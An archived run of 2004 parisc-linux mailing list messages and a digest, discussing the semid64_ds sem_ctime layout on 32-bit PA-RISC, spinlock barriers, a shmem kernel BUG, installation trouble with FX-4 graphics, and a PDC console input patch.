	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 18:38:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20703

Sorry for auto reply, but I just find back the right kdb and:

>I would just still check the case when I have an usb kbd (I would have to
>recover one) but the pdc console is setup to serial port (e
>no graphic screen available) just for an output screen without input kbd?


That case is also impossible, the console setup as serial_1 (eg) is always
CL_DUPLEX :(

I will so review my patch.

Thanks for all,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] semid64_ds compiled on a 32-bit system has wrong
	expected size for sem_ctime
Date: Mon, 26 Jan 2004 14:27:00 -0500
Lines: 105
Approved: news@gmane.org
Message-ID: <20040126192659.GH5351@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623151 4857 80.91.229.3 (22 Nov 2014 02:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan 26 12:26:41 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31098484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 12:26:41 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040126192357.ODEQ286904.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 14:23:57 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (28% Sync Ratio [===.......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Mon,
	26 Jan 2004 14:23:57 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 19:26:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20704

pa,

If anyone has been looking at his recently, please be kind enough to
explain how this compat shim works :)

Note the following things:

o semid64_ds.sem_ctime is of type __kernel_time_t
	o In a 32-bit build this is an int.
	o Generic code expects this to be a long.
	o For a 32-bit build long == int.

linux-2.6/include/asm-parisc/sembuf.h
---
#ifndef _PARISC_SEMBUF_H
#define _PARISC_SEMBUF_H

/* 
 * The semid64_ds structure for parisc architecture.
 * Note extra padding because this structure is passed back and forth
 * between kernel and user space.
 *
 * Pad space is left for:
 * - 64-bit time_t to solve y2038 problem
 * - 2 miscellaneous 32-bit values
 */

struct semid64_ds {
        struct ipc64_perm sem_perm;             /* permissions .. see ipc.h */
#ifndef __LP64__
        unsigned int    __pad1; 
#endif
        __kernel_time_t sem_otime;              /* last semop time */
#ifndef __LP64__
        unsigned int    __pad2; 
#endif
        __kernel_time_t sem_ctime;              /* last change time */
        unsigned int    sem_nsems;              /* no. of semaphores in array */
        unsigned int    __unused1;
        unsigned int    __unused2;
};

#endif /* _PARISC_SEMBUF_H */
---

linux-2.6/ipc/sem.c
---
   1299                 if(sma) {
   1300                         len += sprintf(buffer + len, "%10d %10d
                                   %4o %10lu %5u %5u %5u %5u %10lu %10lu\n",
   1301                                 sma->sem_perm.key,
   1302                                 sem_buildid(i,sma->sem_perm.seq),
   1303                                 sma->sem_perm.mode,
   1304                                 sma->sem_nsems,
   1305                                 sma->sem_perm.uid,
   1306                                 sma->sem_perm.gid,
   1307                                 sma->sem_perm.cuid,
   1308                                 sma->sem_perm.cgid,
   1309                                 sma->sem_otime,
   1310                                 sma->sem_ctime);
   1311                         sem_unlock(sma);
   1312 
   1313                         pos += len;
   1314                         if(pos < offset) {
   1315                                 len = 0;
   1316                                 begin = pos;
   1317                         }
   1318                         if(pos > offset + length)
   1319                                 goto done;
   1320                 }
---

Note that sem.c looks to have ctime as an unsigned long?
Does this mean that we should change the definition of our
posix_types.h?

linux-2.6/include/asm-parisc/posix_types.h
---
     22 /* Note these change from narrow to wide kernels */
     23 #ifdef __LP64__
     24 typedef unsigned long           __kernel_size_t;
     25 typedef long                    __kernel_ssize_t;
     26 typedef long                    __kernel_ptrdiff_t;
     27 typedef long                    __kernel_time_t;
     28 #else
     29 typedef unsigned int            __kernel_size_t;
     30 typedef int                     __kernel_ssize_t;
     31 typedef int                     __kernel_ptrdiff_t;
     32 typedef int                     __kernel_time_t;
     33 #endif
---

Should the last __kernel_time_t definition be replaced with "unsigned
long," or does the generic code *really* want the ctime to be 64-bits
regardless (see the padding in the semid64_ds structure) so that we
don't have rollover time in 2038 as noted by the comment. I think a
change in the position of sem_nsems would violate ABI, so perhaps it's
best to leave it and have the posix_types.h value change to "unsigned
long."

Thoughts or comments?

c.



From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semid64_ds compiled on a 32-bit system has wrong
	expected size for sem_ctime
Date: Mon, 26 Jan 2004 14:44:00 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20040126194400.GI5351@baldric.uwo.ca>
References: <20040126192659.GH5351@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623151 4861 80.91.229.3 (22 Nov 2014 02:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan 26 12:43:42 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id B13DF484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 12:43:41 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040126194129.MZDV116070.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 14:41:29 -0500
Content-Disposition: inline
In-Reply-To: <20040126192659.GH5351@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (28% Sync Ratio [===.......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Mon,
	26 Jan 2004 14:41:29 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 19:43:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20705

> struct semid64_ds {
>         struct ipc64_perm sem_perm;             /* permissions .. see ipc.h */
> #ifndef __LP64__
>         unsigned int    __pad1; 
> #endif
>         __kernel_time_t sem_otime;              /* last semop time */
> #ifndef __LP64__
>         unsigned int    __pad2; 
> #endif
>         __kernel_time_t sem_ctime;              /* last change time */
>         unsigned int    sem_nsems;              /* no. of semaphores in array */
>         unsigned int    __unused1;
>         unsigned int    __unused2;
> };

Our 32-bit userspace will see different values for this depending on
running a 32-bit kernel or 64-bit. That last sem_ctime should probably
have a padding so our 32-bit userspace sees the right thing all the
time.

Something like?

---
#ifndef __LP64__
	unsigned int	__pad3;
#endif
	__kernel_time_t sem_ctime;
---

c.




From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semid64_ds compiled on a 32-bit system has wrong
	expected size for sem_ctime
Date: Mon, 26 Jan 2004 15:34:30 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20040126203429.GJ5351@baldric.uwo.ca>
References: <20040126192659.GH5351@baldric.uwo.ca>
	<20040126194400.GI5351@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623152 4866 80.91.229.3 (22 Nov 2014 02:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Mon Jan 26 13:34:11 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85B11484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 13:34:11 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040126203121.PRWL337997.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 15:31:21 -0500
Content-Disposition: inline
In-Reply-To: <20040126194400.GI5351@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (28% Sync Ratio [===.......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Mon,
	26 Jan 2004 15:31:21 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 20:34:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20706

On Mon, Jan 26, 2004 at 02:44:00PM -0500, Carlos O'Donell wrote:
> > struct semid64_ds {
> >         struct ipc64_perm sem_perm;             /* permissions .. see ipc.h */
> > #ifndef __LP64__
> >         unsigned int    __pad1; 
> > #endif
> >         __kernel_time_t sem_otime;              /* last semop time */
> > #ifndef __LP64__
> >         unsigned int    __pad2; 
> > #endif
> >         __kernel_time_t sem_ctime;              /* last change time */
> >         unsigned int    sem_nsems;              /* no. of semaphores in array */
> >         unsigned int    __unused1;
> >         unsigned int    __unused2;
> > };
> 
> Our 32-bit userspace will see different values for this depending on
> running a 32-bit kernel or 64-bit. That last sem_ctime should probably
> have a padding so our 32-bit userspace sees the right thing all the
> time.

Sorry, I got confused with sem_perm, __pad2 is the padding for ctime,
thanks for pointing that out Matthew. Changing the base posix type for
32-bit builds to "long" fixes all the compiler complaints.

False alarm :)

c.


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: parisc-linux-request@lists.parisc-linux.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux Digest, Vol 2, Issue 32
Date: Mon, 26 Jan 2004 11:01:09 -0600
Lines: 1224
Approved: news@gmane.org
Message-ID: <20040126170109.28A1048E8@dsl2.external.hp.com>
Reply-To: parisc-linux@lists.parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_003_01C3E42E.16DEE200"
X-Trace: ger.gmane.org 1416623152 4869 80.91.229.3 (22 Nov 2014 02:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: parisc-linux-request@lists.parisc-linux.org  Mon Jan 26 18:31:06 2004
Return-Path: <parisc-linux-request@lists.parisc-linux.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spam.carreker.com (unknown [65.221.249.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCC08484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 18:31:05 -0700 (MST)
Original-Received: from localhost (dalvir04.carreker.com [127.0.0.1])
	by spam.carreker.com (Postfix) with ESMTP id B2FCF2E81DA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 19:29:04 -0600 (CST)
Original-Received: from spam.carreker.com ([127.0.0.1])
	by localhost (dalvir04.carreker.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06571-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 19:29:03 -0600 (CST)
Original-Received: from pickup.carreker.com (unknown [172.21.1.23])
	by spam.carreker.com (Postfix) with ESMTP id D2E752E841B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 18:54:46 -0600 (CST)
Original-Received: from mail pickup service by pickup.carreker.com with Microsoft
	SMTPSVC; Mon, 26 Jan 2004 18:58:03 -0600
X-OriginalArrivalTime: 27 Jan 2004 00:58:03.0121 (UTC)
	FILETIME=[9DC99610:01C3E470]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 01:31:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20707


------_=_NextPart_003_01C3E42E.16DEE200
Content-Type: text/plain;
	charset="iso-8859-1"

Send parisc-linux mailing list submissions to
	parisc-linux@lists.parisc-linux.org

To subscribe or unsubscribe via the World Wide Web, visit
	http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
or, via email, send a message with subject or body 'help' to
	parisc-linux-request@lists.parisc-linux.org

You can reach the person managing the list at
	parisc-linux-owner@lists.parisc-linux.org

When replying, please edit your Subject line so it is more specific
than "Re: Contents of parisc-linux digest..."


Today's Topics:

   1. Re: menu not available (Matthew Wilcox)
   2. Re: Re: [parisc-linux] missing barrier in _raw_spin_lock?
      (John David Anglin)
   3. Re: kernel BUG at mm/shmem.c:585! (Carlos O'Donell)
   4. Re: kernel BUG at mm/shmem.c:585! (John David Anglin)
   5. installation failed on C240 (fx4) workstation  
      (Reinhold Flecke CCF)
   6. help installation failed on C240 (fx4) workstation
      (Reinhold Flecke CCF)
   7. Re: kernel BUG at mm/shmem.c:585! (Grant Grundler)
   8. Re: help installation failed on C240 (fx4) workstation
      (Grant Grundler)
   9. A fix for B2k and CONFIG_PDC_CONSOLE pb (Joel Soete)


----------------------------------------------------------------------

Message: 1
Date: Sun, 25 Jan 2004 22:40:40 +0000
From: Matthew Wilcox <willy@debian.org>
Subject: Re: [parisc-linux] menu not available
To: Grant Grundler <grundler@parisc-linux.org>
Cc: "Peralta, Joseph A" <jperalta@WPI.EDU>,
	parisc-linux@lists.parisc-linux.org
Message-ID: <20040125224040.GG11844@parcelfarce.linux.theplanet.co.uk>
Content-Type: text/plain; charset=us-ascii

On Fri, Jan 23, 2004 at 03:11:49PM -0700, Grant Grundler wrote:
> On Fri, Jan 23, 2004 at 04:47:11PM -0500, Peralta, Joseph A wrote:
> > When I try to install certain X-window managers under Debian 3.0 I
get
> > "xxx depends on menu (>> 1.5)... menu is not available" How would I
fix
> > this?
> 
> Dunno...menu is available for "sarge" (aka testing) and that
> works for me. Sounds like someone wants to backport to Woody.

menu is not available for woody because it's written in a language which
bears a passing resemblance to C++.  someone rewrote it in C++ for
sarge.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and
refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


------------------------------

Message: 2
Date: Sun, 25 Jan 2004 19:13:47 -0500 (EST)
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Subject: Re: Re: [parisc-linux] missing barrier in _raw_spin_lock?
To: arndb@onlinehome.de
Cc: grundler@parisc-linux.org, arnd@arndb.de,
	parisc-linux@parisc-linux.org
Message-ID: <200401260013.i0Q0Dltk013819@hiauly1.hia.nrc.ca>
Content-Type: text/plain; charset=US-ASCII

> > #define __ldcw(a) ({ \
> >   unsigned int __ret;
\
> >   __asm__ __volatile__("ldcw 0(%2),%0"
\
> > 		      : "=r" (__ret), "=m" (*(a)) : "r" (a));
\
> >   __ret;
\
> > })

> I suppose the memory operand specification is required here. Newer 
> compilers (especially gcc-3.4) can optimize away local variables if
you 
> only access the address but not the contents. I think even your 
> pthreads version is not really correct, because it specifies (*(a)) as
> output only instead of inout.

I agree.

> No, putting the barrier into __ldcw is wrong because it would impact
all
> other uses of __ldcw that don't need the barrier. AFAICS, the 

The only other uses for __ldcw are the SPIN_LOCK macro in atomic.h
and the _raw_spin_trylock in spinlock.h (i.e., it is only used
acquire locks).  If all these need barriers, then it might as well
be in __ldcw.

Dave
-- 
J. David Anglin
dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6602)


------------------------------

Message: 3
Date: Sun, 25 Jan 2004 21:15:09 -0500
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
Message-ID: <20040126021508.GZ1060@baldric.uwo.ca>
Content-Type: text/plain; charset=us-ascii

On Fri, Jan 23, 2004 at 02:40:27PM -0500, John David Anglin wrote:
> > It appears non-fatal, and I want to blame the compiler :)
> 
> I agree but the proof is in the pudding ;-)

I told Grant, that at my current schedule, it would be 2006 
before I fixed this problem :)

It looks like a reordering issue, perhaps taking a look at the
respective .o objects produced by the two compilers might reveal the
issue. I think that's the way we did it when the tty layer broke and we
had to have that console.o compiled with 3.0.4 by hand? I think Randolph
and Grant worked on that together. I might have the wrong names, but
we've successfully debugged a problem like this before using similar
methods.

c.



------------------------------

Message: 4
Date: Sun, 25 Jan 2004 21:35:07 -0500 (EST)
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
Message-ID: <200401260235.i0Q2Z783024373@hiauly1.hia.nrc.ca>
Content-Type: text/plain; charset=US-ASCII

> On Fri, Jan 23, 2004 at 02:40:27PM -0500, John David Anglin wrote:
> > > It appears non-fatal, and I want to blame the compiler :)
> > 
> > I agree but the proof is in the pudding ;-)
> 
> I told Grant, that at my current schedule, it would be 2006 
> before I fixed this problem :)

My schedule isn't much better.  I'm off to Tokyo at the end of the week
to waive the Canadian flag at the ISO LRG meetin next week.  After that,
my brother's company would like me to work on more firmware for a new
project.

Is this on a SMP kernel (i.e., could this be a locking issue)?

Dave
-- 
J. David Anglin
dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6602)


------------------------------

Message: 5
Date: Mon, 26 Jan 2004 11:54:13 +0100
From: "Reinhold Flecke CCF" <reinhold.flecke@ccf-consulting.de>
Subject: [parisc-linux] installation failed on C240 (fx4) workstation
	
To: <parisc-linux@lists.parisc-linux.org>
Message-ID:
	<LBEMKLBEFDGDOGGAOGIKAEJPCCAA.reinhold.flecke@ccf-consulting.de>
Content-Type: text/plain; charset="iso-8859-1"

I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
If I start the installation on my C240 (fx4) workstation  with the
command:
bo sescsi.2.0

it seems everything ok, until I get the message:
..If this is the last message you see, you may need to switch your
console.
  This is a common sympton sarch the FAQ and mailing list at
parisc-linux.org

After this nothing happens anymore.
I searched the FAQ and mailing list but I could not find a solution.
Anyone who can help?

Thanks in advance.

Best Regards
Reinhold Flecke


Reinhold Flecke CCF
Fon:	+49 (0)5292 930601 (Office)
	+49 (0)700 93000093 (PR)
eMail:	<mailto:Reinhold.Flecke@ccf-consulting.de>

-------------- next part --------------
A non-text attachment was scrubbed...
Name: winmail.dat
Type: application/ms-tnef
Size: 2008 bytes
Desc: not available
Url :
http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/2004012
6/13277935/winmail-0001.bin

------------------------------

Message: 6
Date: Mon, 26 Jan 2004 12:13:22 +0100
From: "Reinhold Flecke CCF" <reinhold.flecke@ccf-consulting.de>
Subject: [parisc-linux] help installation failed on C240 (fx4)
	workstation
To: <parisc-linux@lists.parisc-linux.org>
Message-ID:
	<LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting.de>
Content-Type: text/plain; charset="iso-8859-1"

I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
If I start the installation on my C240 (fx4) workstation  with the
command:
bo sescsi.2.0

it seems everything ok, until I get the message:
..If this is the last message you see, you may need to switch your
console.
  This is a common sympton sarch the FAQ and mailing list at
parisc-linux.org

After this nothing happens anymore.
I searched the FAQ and mailing list but I could not find a solution.
Anyone who can help?

Thanks in advance.


Best Regards
Reinhold Flecke


Reinhold Flecke CCF
Auf dem Anger 18
33165 Lichtenau-Husen
Fon:	+49 (0)5292 930601 (Office)
	+49 (0)700 93000093 (PR)
eMail:	<mailto:Reinhold.Flecke@ccf-consulting.de>

-------------- next part --------------
A non-text attachment was scrubbed...
Name: winmail.dat
Type: application/ms-tnef
Size: 2056 bytes
Desc: not available
Url :
http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/2004012
6/902d4aa3/winmail-0001.bin

------------------------------

Message: 7
Date: Mon, 26 Jan 2004 08:53:56 -0700
From: Grant Grundler <grundler@parisc-linux.org>
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Message-ID: <20040126155356.GA12175@colo.lackof.org>
Content-Type: text/plain; charset=us-ascii

On Sun, Jan 25, 2004 at 09:35:07PM -0500, John David Anglin wrote:
> Is this on a SMP kernel (i.e., could this be a locking issue)?

no. I don't build or run SMP kernels on anything at the moment.

thanks,
grant


------------------------------

Message: 8
Date: Mon, 26 Jan 2004 09:13:16 -0700
From: Grant Grundler <grundler@parisc-linux.org>
Subject: Re: [parisc-linux] help installation failed on C240 (fx4)
	workstation
To: Reinhold Flecke CCF <reinhold.flecke@ccf-consulting.de>
Cc: parisc-linux@lists.parisc-linux.org
Message-ID: <20040126161316.GC12175@colo.lackof.org>
Content-Type: text/plain; charset=us-ascii

On Mon, Jan 26, 2004 at 12:13:22PM +0100, Reinhold Flecke CCF wrote:
> I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
> If I start the installation on my C240 (fx4) workstation  with the
command:
> bo sescsi.2.0

FX-4 graphics is not supported.
Either use serial console or replace the FX4 with PCI FX-E.

sorry,
grant


------------------------------

Message: 9
Date: Mon, 26 Jan 2004 18:00:53 +0100
From: "Joel Soete" <soete.joel@tiscali.be>
Subject: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
To: "Grant Grundler" <grundler@parisc-linux.org>,	"Christoph
Plattner"
	<christoph.plattner@gmx.at>
Cc: parisc-linux@lists.parisc-linux.org
Message-ID: <400CB8A100004C60@ocpmta3.freegates.net>
Content-Type: text/plain; charset="iso-8859-1"

Hi Grant, Christoph,

I find a fix for this pb. I tested successfully (I reach to login with a
ttyB0 after replacing ttyS0 in inittab and telinit q :) ) on a 32bit 2.4
kernel on my b2k and a 64bit (up) [also 2.4] kernel on my N4k.

Here is its main part:
diff -NaurX dontdiff linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c
linux-2.4.24-pa0/arch/parisc/kernel/firmware.c
--- linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c	2003-10-02
07:30:55.000000000
+0200
+++ linux-2.4.24-pa0/arch/parisc/kernel/firmware.c	2004-01-26
16:48:23.000000000
+0100
@@ -871,15 +937,21 @@
 	int status;
 
 	/* Bail if no console input device. */
-	if (!PAGE0->mem_kbd.iodc_io)
+	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) &&
!PAGE0->mem_kbd.iodc_io)
 		return 0;
 	
 	/* wait for a keyboard (rs232)-input */
 	spin_lock_irqsave(&pdc_lock, flags);
-	real32_call(PAGE0->mem_kbd.iodc_io,
-		    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
-		    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
-		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
+		real32_call(PAGE0->mem_cons.iodc_io,
+			    (unsigned long)PAGE0->mem_cons.hpa,
ENTRY_IO_CIN,
+			    PAGE0->mem_cons.spa,
__pa(PAGE0->mem_cons.dp.layers), 
+			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1,
0);
+	else
+		real32_call(PAGE0->mem_kbd.iodc_io,
+			    (unsigned long)PAGE0->mem_kbd.hpa,
ENTRY_IO_CIN,
+			    PAGE0->mem_kbd.spa,
__pa(PAGE0->mem_kbd.dp.layers), 
+			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1,
0);
 
 	ch = *iodc_dbuf;
 	status = *iodc_retbuf;
diff -NaurX dontdiff linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c
linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c
--- linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c	2004-01-19
07:25:46.000000000
+0100
+++ linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c	2004-01-26
16:53:32.000000000
+0100
